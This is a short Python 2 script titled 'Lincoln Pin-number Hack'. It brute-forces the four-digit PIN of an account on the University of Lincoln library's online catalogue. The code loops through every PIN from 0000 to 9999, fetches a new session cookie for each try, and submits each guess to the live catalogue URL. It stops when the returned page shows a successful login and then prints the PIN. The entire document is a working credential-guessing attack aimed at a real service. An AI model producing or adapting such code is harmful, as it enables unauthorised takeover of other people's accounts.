Lincoln Pin-number Hack

#!/usr/bin/env python

import re, urllib
import time

def get_middle_text(line, string_start, string_end):
    temp = line.split(string_start)[1]
    return temp.split(string_end)[0]

loggedIn = -1;

#pointless formatting
print "\n\n\t\t// BRUTING THE LIBARRY \\\\\n\n"

#insert UID
sid = raw_input("Enter >YOUR< ID: ") or "112    14462"
count = 0
cookie = ""

#insert StartPoint
count = int(raw_input("Insert start position between 0-9998: "))
if count < 0 or count > 9998:
    print "invalid number (%i). Starting at 0000" % count
    count = 0

count = count-1

searchType = int(raw_input("Search type 1 (Less CPU), 2 (Legacy): ")) or 2

if searchType != 1 and searchType != 2:
    print "invalid number (%i). Legacy selected" % searchType
    searchType = 2

startCount = count
startTime = time.time()

while loggedIn == -1:
    count = count + 1
    page = urllib.urlopen("http://catalogue.library.lincoln.ac.uk/ipac20/ipac.jsp?profile=ln&auth=true").read()

    # Search type
    if searchType == 1:
        cookie = page[945:963]
        string = "http://catalogue.library.lincoln.ac.uk/ipac20/ipac.jsp?profile=ln&sec1=%s&sec2=%04d&menu=account&session=%s" % (sid, count, cookie)

    if searchType == 2:
        cookie = re.search('session=(.*)&profile=', page)
        string = "http://catalogue.library.lincoln.ac.uk/ipac20/ipac.jsp?profile=ln&sec1=%s&sec2=%04d&menu=account&session=%s" % (sid, count, cookie.group(1))

    page = urllib.urlopen(string).read()
    loggedIn = page.find("// the date selector script//////////////////////////////////////")
    print "Trying: %04d" % count

print "\n\n\tPin Number for %s successfully Found: %i" % (sid, count)

number = (time.time() - startTime)/(count-startCount)
seconds = (time.time() - startTime)
print "\n\tTaking %.02f seconds, (%f per Brute attempt).\n\n" % (seconds, number)